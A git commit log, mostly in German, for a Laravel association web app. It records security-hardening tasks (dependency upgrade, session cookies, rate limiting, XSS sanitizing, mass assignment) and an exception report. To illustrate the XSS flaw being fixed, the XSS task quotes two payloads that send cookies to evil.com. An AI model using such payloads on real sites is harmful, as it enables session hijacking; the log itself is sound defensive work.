vk
9b4930f419
[P1 Security] Vite auf v6+ upgraden – esbuild CVE fixen (vibe-kanban 3d74a242)
...
## Security Audit: Vite/esbuild Sicherheitslücke
### Problem
`yarn audit` meldet eine **Moderate Vulnerability** in `esbuild` (Dependency von Vite 5.x):
- **Package:** `esbuild` (transitive Dependency von `vite@5.4.21`)
- **Schwachstelle:** Dev-Server erlaubt beliebige Cross-Origin-Requests – ein Angreifer könnte über einen bösartigen Browser-Tab auf den lokalen Dev-Server zugreifen
- **Fix:** `esbuild >= 0.25.0` (enthalten in Vite 6+)
Aktuelle Versionen:
```
vite: 5.4.21 → 7.3.1 (Major)
laravel-vite-plugin: 1.3.0 → 2.1.0 (Major)
```
### Lösung
**Upgrade-Pfad:**
1. **Vite upgraden:** `yarn add -D vite@^7` (oder mindestens `vite@^6` für den Security-Fix)
2. **Laravel Vite Plugin upgraden:** `yarn add -D laravel-vite-plugin@^2`
3. **Vite-Config anpassen:** `vite.config.js` / `vite.config.ts` prüfen – breaking Changes zwischen v5 und v6/v7 beachten
### Vorgehen
1. **Dokumentation lesen:** Nutze `search-docs` mit `queries: ['vite', 'vite upgrade']` und `packages: ['laravel-vite-plugin']`
2. **Aktuellen Build prüfen:** `yarn run build` ausführen und sicherstellen dass es funktioniert (Baseline)
3. **Backup:** Aktuellen `yarn.lock` sichern
4. **Upgrade durchführen:**
```bash
yarn add -D vite@^7 laravel-vite-plugin@^2
```
5. **`vite.config.js` lesen und auf Breaking Changes prüfen** – insbesondere:
- Plugin-API Änderungen
- CSS-Processing-Änderungen (PostCSS, Tailwind v4 Kompatibilität)
- Asset-Handling-Änderungen
6. **Build testen:** `yarn run build` – muss fehlerfrei durchlaufen
7. **Dev-Server testen:** `yarn run dev` kurz starten und prüfen
8. **Security Audit bestätigen:** `yarn audit` erneut ausführen – die esbuild-Vulnerability sollte verschwunden sein
9. `php artisan test --compact` laufen lassen
### Betroffene Dateien
- `package.json` – Version-Bumps
- `yarn.lock` – Dependency-Tree Update
- `vite.config.js` oder `vite.config.ts` – Ggf. Anpassungen für Breaking Changes
- `resources/css/app.css` – Prüfen ob Tailwind v4 + PostCSS weiterhin funktioniert
### Risiken
- Major-Version-Upgrade kann Breaking Changes haben
- Tailwind v4 CSS-Import muss kompatibel bleiben
- Flux UI Assets müssen weiterhin korrekt gebundelt werden
### Akzeptanzkriterien
- `yarn audit` zeigt keine Vulnerabilities mehr
- `yarn run build` läuft fehlerfrei
- Dev-Server funktioniert
- Alle bestehenden Tests bestehen
- Tailwind CSS und Flux UI Components werden korrekt gerendert
2026-02-11 23:24:29 +01:00
vk
058612dbe6
[P1 Security] Session Security Hardening – Encryption & Secure Cookies (vibe-kanban 48c2078b)
...
## Security Audit: Session-Konfiguration härten
### Problem
Die aktuelle `.env.example` hat unsichere Session-Defaults:
```env
SESSION_ENCRYPT=false # Session-Daten unverschlüsselt in der DB
SESSION_SECURE_COOKIE= # Nicht gesetzt – Cookie wird auch über HTTP gesendet
SESSION_DOMAIN=null # Nicht eingeschränkt
```
Da die App eine Custom Nostr-basierte Auth verwendet (`app/Auth/NostrSessionGuard.php`) und der `pubkey` in der Session gespeichert wird, ist die Session ein attraktives Angriffsziel. Unverschlüsselte Sessions in der Datenbank bedeuten, dass ein DB-Leak sofort alle aktiven Sessions kompromittiert.
### Lösung
**1. `.env.example` aktualisieren:**
```env
SESSION_ENCRYPT=true
SESSION_SECURE_COOKIE=true
```
**2. Session-Config in `config/session.php` prüfen:**
Falls `config/session.php` nicht existiert (Laravel 12 Slim-Struktur), muss die Config ggf. mit `php artisan config:publish session` veröffentlicht werden. Prüfe ob die folgenden Werte korrekt gesetzt sind:
```php
'encrypt' => env('SESSION_ENCRYPT', true), // Default auf true ändern
'secure' => env('SESSION_SECURE_COOKIE', true), // Default auf true ändern
'http_only' => true, // Bereits Standard
'same_site' => 'lax', // Bereits Standard
```
**3. Cookie-Sicherheit:**
- `http_only` verhindert JavaScript-Zugriff auf Session-Cookies (Schutz gegen XSS-Cookie-Theft)
- `secure` erzwingt HTTPS-only Übertragung
- `same_site: lax` schützt gegen CSRF bei Top-Level-Navigation
### Betroffene Dateien
- `.env.example` – Default-Werte aktualisieren
- `config/session.php` – Falls vorhanden, Defaults härten. Falls nicht vorhanden, mit `php artisan config:publish session` erstellen und anpassen
### Vorgehen
1. Prüfe ob `config/session.php` existiert (bei Laravel 12 ist es möglicherweise nicht veröffentlicht)
2. Falls nicht vorhanden: `php artisan config:publish session --no-interaction`
3. Sichere Defaults setzen (encrypt=true, secure=true)
4. `.env.example` aktualisieren
5. Einen Pest-Test schreiben, der verifiziert dass Session-Cookies die korrekten Flags haben (secure, httpOnly, sameSite)
6. `vendor/bin/pint --dirty` und `php artisan test --compact`
### Hinweis
- In der lokalen Entwicklung (`APP_ENV=local`) kann `SESSION_SECURE_COOKIE=false` gesetzt werden, damit HTTP funktioniert
- Der Default in der Config sollte aber `true` sein, damit Produktion abgesichert ist
- Die `.env` Datei selbst wird NICHT bearbeitet (nur `.env.example`)
### Akzeptanzkriterien
- `SESSION_ENCRYPT=true` als Default in `.env.example`
- `SESSION_SECURE_COOKIE=true` als Default in `.env.example`
- Session-Config verwendet sichere Defaults
- Tests verifizieren Cookie-Sicherheitsflags
- Lokale Entwicklung bleibt funktional (über `.env` Override)
2026-02-11 23:19:31 +01:00
vk
0639c1a656
Fix all tests (vibe-kanban bba3e2c9)
...
Fixe alle tests. Frage mich, wenn du nicht weißt, was zu tun ist.
2026-02-11 23:15:49 +01:00
vk
9faae15212
[P1 Security] Rate Limiting für API-Routes und Livewire-Actions (vibe-kanban e1f85c61)
...
## Security Audit: Fehlendes Rate Limiting
### Problem
Die Anwendung hat **kein Rate Limiting** auf API-Routes oder Livewire-Actions. Das ermöglicht:
- Brute-Force-Angriffe auf Authentication-Endpoints
- Denial-of-Service durch massenhaftes Aufrufen von API-Endpoints
- Vote-Manipulation durch schnelle, wiederholte Requests
- Ressourcen-Erschöpfung durch unkontrollierte Datenbankabfragen
### Betroffene Endpoints
**API-Routes (`routes/api.php`):**
```php
Route::get('/nostr/profile/{key}', GetProfile::class); // kein Rate Limit
Route::get('/members/{year}', GetPaidMembers::class); // kein Rate Limit
```
**Kritische Livewire-Actions (kein Throttling):**
- Voting auf ProjectProposals (`association/project-support/show`)
- Login via Nostr (`handleNostrLogin`)
- ProjectProposal-Erstellung
- Election Voting
### Lösung
**1. API Rate Limiting in `bootstrap/app.php`:**
Nutze Laravel 12's Middleware-Konfiguration um Rate Limiting zu aktivieren:
```php
->withMiddleware(function (Middleware $middleware) {
$middleware->api(prepend: [
\Illuminate\Routing\Middleware\ThrottleRequests::class.':api',
]);
})
```
Und definiere den `api` Rate Limiter in `app/Providers/AppServiceProvider.php`:
```php
use Illuminate\Cache\RateLimiting\Limit;
use Illuminate\Support\Facades\RateLimiter;
public function boot(): void
{
RateLimiter::for('api', function (Request $request) {
return Limit::perMinute(60)->by($request->ip());
});
}
```
**2. Livewire Action Throttling:**
Nutze Livewire's `#[Throttle]` Attribut auf sensiblen Actions. Suche in der Livewire-Dokumentation nach der korrekten v4-Syntax mit `search-docs`:
- `queries: ['throttle', 'rate limiting']`
- `packages: ['livewire/livewire']`
Wende Throttling an auf:
- Vote-Submit-Methoden in den ProjectSupport-Components
- Login-Handler (`handleNostrLogin` in `WithNostrAuth` Trait)
- ProjectProposal Create/Update Actions
**3. Zusätzlicher Custom Rate Limiter für Voting:**
```php
RateLimiter::for('voting', function (Request $request) {
return Limit::perMinute(10)->by($request->ip());
});
```
### Betroffene Dateien
- `bootstrap/app.php` – Middleware-Konfiguration (Rate Limit Middleware hinzufügen)
- `app/Providers/AppServiceProvider.php` – RateLimiter Definitionen
- `routes/api.php` – Rate Limit Middleware anwenden
- `app/Livewire/Traits/WithNostrAuth.php` – Throttle auf `handleNostrLogin`
- Livewire-Components in `app/Livewire/Association/ProjectSupport/` – Throttle auf Vote/Create Actions
### Vorgehen
1. `search-docs` nutzen für: `['rate limiting', 'throttle']` (Laravel) und `['throttle']` (Livewire)
2. Rate Limiter in AppServiceProvider definieren
3. API-Middleware in `bootstrap/app.php` konfigurieren
4. Livewire-Actions mit Throttle versehen
5. Pest-Tests schreiben, die verifizieren dass Rate Limiting greift (429 Response bei Überschreitung)
6. `vendor/bin/pint --dirty` und `php artisan test --compact`
### Akzeptanzkriterien
- API-Routes geben HTTP 429 nach 60 Requests/Minute zurück
- Voting-Actions sind auf max. 10/Minute limitiert
- Login-Attempts sind throttled
- Tests verifizieren Rate Limiting Verhalten
2026-02-11 21:13:36 +01:00
vk
af3090e694
[P0 Security] XSS-Schutz – Sanitize ProjectProposal Description Output (vibe-kanban a733735a)
...
## Security Audit: Cross-Site Scripting (XSS) in ProjectProposal Description
### Problem
In `resources/views/livewire/association/project-support/show.blade.php` Zeile 111 wird User-generierter Content **unescaped** ausgegeben:
```blade
<x-markdown>
{!! $projectProposal->description !!}
</x-markdown>
```
**Angriffsvektor:** Jeder authentifizierte User mit `association_status > 1` und bezahlter Mitgliedschaft kann über `resources/views/livewire/association/project-support/form/create.blade.php` einen ProjectProposal erstellen. Das Feld `description` wird nur mit `required|string|min:5` validiert – kein HTML-Sanitizing. Ein Angreifer kann beliebiges JavaScript injizieren:
```html
<script>document.location='https://evil.com/steal?cookie='+document.cookie </script>
<img src=x onerror="fetch('https://evil.com/'+document.cookie )">
```
Die App nutzt Spatie's `laravel-markdown` (League\CommonMark), das standardmäßig inline HTML **nicht** filtert.
### Lösung
**Option A (empfohlen): HTML Purifier im Markdown-Renderer konfigurieren**
1. In `config/markdown.php` die CommonMark-Konfiguration anpassen, um `allow_unsafe_links` auf `false` zu setzen und `html_input` auf `'escape'` oder `'strip'`
2. Prüfe die aktuelle `config/markdown.php` – dort wird der `Spatie\LaravelMarkdown\MarkdownRenderer` konfiguriert
3. Setze in der CommonMark-Konfiguration:
```php
'commonmark' => [
'html_input' => 'escape', // oder 'strip' – verhindert rohen HTML-Output
'allow_unsafe_links' => false,
],
```
**Option B: Input-Sanitization bei Speicherung**
1. In `app/Livewire/Forms/ProjectProposalForm.php` (oder dem Create-Component) vor dem Speichern den HTML-Content mit `strip_tags()` oder besser einem HTML Purifier bereinigen
2. Das Flux `<flux:editor>` Component erzeugt möglicherweise gültiges HTML – prüfe, welches Format in der DB gespeichert wird
**Option C: Output-Escaping**
1. Ersetze `{!! $projectProposal->description !!}` durch `{{ $projectProposal->description }}` wenn nur Plain-Text benötigt wird
2. Falls Markdown benötigt wird, nutze die sichere Markdown-Rendering-Pipeline
### Betroffene Dateien
- `resources/views/livewire/association/project-support/show.blade.php:111` – XSS-Output
- `resources/views/livewire/association/project-support/form/create.blade.php` – Input ohne Sanitization
- `app/Livewire/Forms/ProjectProposalForm.php` – Validation Rules (falls vorhanden)
- `config/markdown.php` – CommonMark Konfiguration
### Zusätzlich prüfen
Scanne alle anderen `{!! !!}` Stellen in `resources/views/livewire/` (NICHT in `resources/views/flux/` – das sind Framework-Dateien). Aktuell ist nur `show.blade.php:111` betroffen, aber prüfe ob es weitere gibt.
### Vorgehen
1. `config/markdown.php` lesen und die CommonMark-Config auf `'html_input' => 'escape'` setzen
2. Prüfen, ob die Änderung den gewünschten Effekt hat (Markdown wird gerendert, HTML wird escaped)
3. Einen Pest Browser-Test oder Feature-Test schreiben, der verifiziert, dass `<script>` Tags in der Description escaped werden
4. `vendor/bin/pint --dirty` ausführen
5. Bestehende Tests laufen lassen
### Akzeptanzkriterien
- `<script>` und andere HTML-Tags in ProjectProposal descriptions werden escaped oder gestrippt
- Markdown-Formatierung (Bold, Links, Listen) funktioniert weiterhin
- Ein Test verifiziert, dass XSS-Payloads nicht ausgeführt werden
- Keine Regression in der Darstellung bestehender Proposals
2026-02-11 21:13:36 +01:00
vk
90288ac20e
[P0 Security] Mass Assignment Protection – $fillable für alle 18 Models (vibe-kanban 4a764a11)
...
## Security Audit: Mass Assignment Protection
### Problem
Alle 18 Eloquent Models verwenden `protected $guarded = [];` – das bedeutet **kein Schutz** gegen Mass Assignment. Ein Angreifer könnte über manipulierte Requests sensible Felder wie `accepted`, `sats_paid`, `association_status`, `paid` oder `created_by` direkt setzen.
### Betroffene Dateien und empfohlene Änderungen
Ersetze in **jedem** der folgenden Models `protected $guarded = [];` durch ein explizites `protected $fillable = [...]` Array. Hier die Analyse pro Model:
**Höchstes Risiko (Finanzen & Identity):**
1. **`app/Models/PaymentEvent.php`** – Finanz-kritisch!
- Sensible Felder (NICHT fillable): `einundzwanzig_pleb_id`, `year`, `amount`, `event_id`, `paid`, `btc_pay_invoice`
- `$fillable` sollte leer oder minimal sein – alle Felder werden programmatisch gesetzt
2. **`app/Models/EinundzwanzigPleb.php`**
- Sensible Felder: `association_status`, `application_for`, `nip05_handle`
- `$fillable = ['npub', 'pubkey', 'email', 'no_email', 'application_text', 'archived_application_text']`
3. **`app/Models/Vote.php`**
- Sensible Felder: `einundzwanzig_pleb_id`, `project_proposal_id`, `value`
- `$fillable = ['reason']` – alle anderen Felder müssen programmatisch gesetzt werden
4. **`app/Models/ProjectProposal.php`**
- Sensible Felder: `einundzwanzig_pleb_id`, `accepted`, `sats_paid`, `slug`
- `$fillable = ['name', 'support_in_sats', 'description', 'website']`
5. **`app/Models/Election.php`**
- Sensible Felder: `year`, `candidates`, `end_time`
- `$fillable` sollte leer sein – nur Admin-gesteuert
**Mittleres Risiko (mit `created_by` auto-fill in boot):**
6. **`app/Models/Venue.php`** – `$fillable = ['name']` (slug & created_by auto-generiert)
7. **`app/Models/MeetupEvent.php`** – `$fillable = ['start']` (meetup_id, created_by, attendees guarded)
8. **`app/Models/CourseEvent.php`** – `$fillable = ['from', 'to']` (course_id, venue_id, created_by guarded)
9. **`app/Models/Course.php`** – `$fillable = ['name', 'description']` (lecturer_id, created_by guarded)
10. **`app/Models/Meetup.php`** – `$fillable = ['name']` (city_id, created_by, slug, github_data, simplified_geojson guarded)
11. **`app/Models/Lecturer.php`** – `$fillable = ['name']` (active, created_by, slug guarded)
12. **`app/Models/City.php`** – `$fillable = ['name']` (country_id, created_by, slug, osm_relation, simplified_geojson guarded)
**Niedrigeres Risiko (Lookup/Reference-Daten):**
13. **`app/Models/Event.php`** – `$fillable = []` (alle Felder: event_id, parent_event_id, pubkey, json, type sind extern gesteuert)
14. **`app/Models/RenderedEvent.php`** – `$fillable = []` (event_id, html, profile_image, profile_name alle system-generiert)
15. **`app/Models/Profile.php`** – `$fillable = ['name', 'display_name', 'picture', 'banner', 'website', 'about']` (pubkey, deleted, nip05, lud16, lud06 guarded)
16. **`app/Models/Category.php`** – `$fillable = ['name']`
17. **`app/Models/Country.php`** – `$fillable = ['name']` (code, language_codes guarded)
18. **`app/Models/Notification.php`** – `$fillable = ['name', 'description']` (einundzwanzig_pleb_id, category guarded)
### Vorgehen
1. Jedes Model öffnen und `$guarded = []` durch das oben definierte `$fillable` Array ersetzen
2. Prüfen, ob bestehende `::create()` oder `::update()` Aufrufe noch funktionieren – ggf. müssen explizite Feld-Zuweisungen ergänzt werden
3. Für jedes geänderte Model einen Pest-Test schreiben, der verifiziert, dass Mass Assignment von sensiblen Feldern blockiert wird
4. `vendor/bin/pint --dirty` ausführen
5. Bestehende Tests laufen lassen: `php artisan test --compact`
### Akzeptanzkriterien
- Kein Model hat mehr `$guarded = []`
- Alle sensiblen Felder (status, paid, accepted, created_by, slug, IDs) sind NICHT in `$fillable`
- Bestehende Features funktionieren weiterhin (Tests grün)
- Neue Tests verifizieren Mass Assignment Protection
2026-02-11 21:13:36 +01:00
HolgerHatGarKeineNode
aee4d96af3
🛠 Add ciphersweet:generate-key command back to setup script in composer.json
2026-02-11 21:12:54 +01:00
HolgerHatGarKeineNode
a10d1d9e1e
🗑 Remove ciphersweet:generate-key from setup script in composer.json
2026-02-11 20:36:15 +01:00
HolgerHatGarKeineNode
9813343c8b
🛠 Add ciphersweet:generate-key to the setup script in composer.json
2026-02-11 20:35:37 +01:00
HolgerHatGarKeineNode
699ebeedb2
📝 Update .env.example with revised database configuration values
2026-02-11 19:53:13 +01:00
HolgerHatGarKeineNode
04e7d87af6
🔧 Upgrade dependencies and framework components
...
- ✨ Update `composer.lock` and `.junie/guidelines.md` to include new versions for Pest v4, PHPUnit v12, Laravel framework (v12.51.0), and other dependencies.
- 📚 Add Pest v4 specific rules for browser testing, smoke testing, and visual regression tests to documentation.
- 🛠 Refactor related configs for upgraded dependency compatibility, ensuring cleaner and faster development debugging.
2026-02-11 19:47:11 +01:00
HolgerHatGarKeineNode
eb9285d601
Fix this (vibe-kanban 0064af70)
...
## Exception Summary
- Class: `TypeError`
- Message: `Cannot assign array to property Livewire\Component@anonymous::$fax of type string`
- Code: `0`
- File: `vendor/livewire/livewire/src/Mechanisms/HandleComponents/HandleComponents.php:555`
- Timestamp: `2026-02-11T11:10:02+00:00`
- Details: This exception was thrown during a HTTP Request.
## HTTP Request
- Method: `POST`
- URL: `https://verein.einundzwanzig.space/livewire-5c4c7b52/update `
- Route: `livewire.update`
- Status code: `500`
- IP address: `206.237.102.28`
### Request Headers
- `content-type: application/json`
- `content-length: 1484`
- `cookie: XSRF-TOKEN=[342 bytes redacted]; einundzwanzig_verein_session=[342 bytes redacted]`
- `sec-fetch-user: ?1`
- `sec-fetch-site: none`
- `sec-fetch-mode: navigate`
- `sec-fetch-dest: document`
- `upgrade-insecure-requests: 1`
- `connection: keep-alive`
- `accept-language: en-US,en;q=0.5`
- `accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8`
- `user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36`
- `accept-encoding: identity`
- `host: verein.einundzwanzig.space`
### Request Payload
```json
{
"_token": "[40 bytes redacted]",
"components": [
{
"snapshot": "{\"data\": {\"form\": [{\"reason\": \"\", \"check\": false, \"currentPleb\": null}, {\"class\": \"App\\\\Livewire\\\\Forms\\\\ApplicationForm\", \"s\": \"form\"}], \"profileForm\": [{\"email\": \"\", \"nip05Handle\": \"\", \"currentPleb\": null}, {\"class\": \"App\\\\Livewire\\\\Forms\\\\ProfileForm\", \"s\": \"form\"}], \"no\": false, \"showEmail\": true, \"fax\": \"\", \"nip05Verified\": false, \"nip05VerifiedHandle\": null, \"nip05HandleMismatch\": false, \"nip05VerifiedHandles\": [[], {\"s\": \"arr\"}], \"yearsPaid\": [[], {\"s\": \"arr\"}], \"events\": [[], {\"s\": \"arr\"}], \"payments\": null, \"invoiceStatus\": null, \"invoiceStatusLabel\": null, \"invoiceStatusMessage\": null, \"invoiceStatusVariant\": \"info\", \"invoiceExpiresAt\": null, \"invoiceExpiresAtDisplay\": null, \"invoiceExpiresIn\": null, \"amountToPay\": 21000, \"currentYearIsPaid\": false, \"currentPubkey\": null, \"currentPleb\": null, \"qrCode\": null}, \"memo\": {\"id\": \"w62UhlWfdP5hmH873cUk\", \"name\": \"association.profile\", \"path\": \"association/profile\", \"method\": \"GET\", \"release\": \"a-a-a\", \"attributes\": {\"_livewire_component\": \"association.profile\"}, \"children\": [], \"scripts\": [], \"assets\": [], \"errors\": [], \"locale\": \"en\", \"islands\": []}, \"checksum\": \"ef5141c41105681483f6be62494c4717a8d5a43c8c5a07173ea799a2a58d7005\"}",
"updates": {
"fax": []
},
"calls": []
}
],
"_nightwatch_files": []
}
```
### Authenticated User
- Not authenticated for this execution.
## Database Queries (before exception)
- Not captured
## Stack Trace (most recent call first)
- [0] Livewire\\Mechanisms\\HandleComponents\\HandleComponents->setComponentPropertyAwareOfTypes()
at vendor/livewire/livewire/src/Mechanisms/HandleComponents/HandleComponents.php:555
- [1] Livewire\\Mechanisms\\HandleComponents\\HandleComponents->setComponentPropertyAwareOfTypes()
at vendor/livewire/livewire/src/Mechanisms/HandleComponents/HandleComponents.php:455
- [2] Livewire\\Mechanisms\\HandleComponents\\HandleComponents->updateProperty()
at vendor/livewire/livewire/src/Mechanisms/HandleComponents/HandleComponents.php:426
- [3] Livewire\\Mechanisms\\HandleComponents\\HandleComponents->updateProperties()
at vendor/livewire/livewire/src/Mechanisms/HandleComponents/HandleComponents.php:188
- [4] Livewire\\Mechanisms\\HandleComponents\\HandleComponents->update()
at vendor/livewire/livewire/src/LivewireManager.php:131
- [5] Livewire\\LivewireManager->update()
at vendor/livewire/volt/src/LivewireManager.php:35
- [6] Livewire\\Volt\\LivewireManager->update()
at vendor/livewire/livewire/src/Mechanisms/HandleRequests/HandleRequests.php:123
- [7] Livewire\\Mechanisms\\HandleRequests\\HandleRequests->handleUpdate()
at vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php:46
- [8] Illuminate\\Routing\\ControllerDispatcher->dispatch()
at vendor/laravel/framework/src/Illuminate/Routing/Route.php:265
- [9] Illuminate\\Routing\\Route->runController()
at vendor/laravel/framework/src/Illuminate/Routing/Route.php:211
- [10] Illuminate\\Routing\\Route->run()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:822
- [11] Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:180
- [12] Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
at vendor/laravel/nightwatch/src/Hooks/RouteMiddleware.php:34
- [13] Laravel\\Nightwatch\\Hooks\\RouteMiddleware->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [14] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php:50
- [15] Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [16] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php:87
- [17] Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [18] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php:48
- [19] Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [20] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php:120
- [21] Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
at vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php:63
- [22] Illuminate\\Session\\Middleware\\StartSession->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [23] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php:36
- [24] Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [25] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php:74
- [26] Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [27] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:137
- [28] Illuminate\\Pipeline\\Pipeline->then()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:821
- [29] Illuminate\\Routing\\Router->runRouteWithinStack()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:800
- [30] Illuminate\\Routing\\Router->runRoute()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:764
- [31] Illuminate\\Routing\\Router->dispatchToRoute()
at vendor/laravel/framework/src/Illuminate/Routing/Router.php:753
- [32] Illuminate\\Routing\\Router->dispatch()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:200
- [33] Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:180
- [34] Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
at vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php:19
- [35] Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [36] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php:21
- [37] Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php:31
- [38] Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [39] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php:21
- [40] Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php:51
- [41] Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [42] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php:27
- [43] Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [44] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php:109
- [45] Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [46] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php:48
- [47] Illuminate\\Http\\Middleware\\HandleCors->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [48] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php:58
- [49] Illuminate\\Http\\Middleware\\TrustProxies->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [50] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php:22
- [51] Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [52] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php:26
- [53] Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [54] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/nightwatch/src/Hooks/GlobalMiddleware.php:53
- [55] Laravel\\Nightwatch\\Hooks\\GlobalMiddleware->handle()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:219
- [56] Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
at vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php:137
- [57] Illuminate\\Pipeline\\Pipeline->then()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:175
- [58] Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
at vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php:144
- [59] Illuminate\\Foundation\\Http\\Kernel->handle()
at vendor/laravel/framework/src/Illuminate/Foundation/Application.php:1220
- [60] Illuminate\\Foundation\\Application->handleRequest()
at public/index.php:17
## Code Context
- Not captured
## Occurrence Statistics
- First seen: `2026-02-02T01:38:48+00:00`
- Last seen: `2026-02-11T11:10:02+00:00`
- Occurrences (last 24 hours): `3`
- Occurrences (last 7 days): `3`
- Users affected: `0`
2026-02-11 14:37:05 +01:00
HolgerHatGarKeineNode
3c0cc2d07d
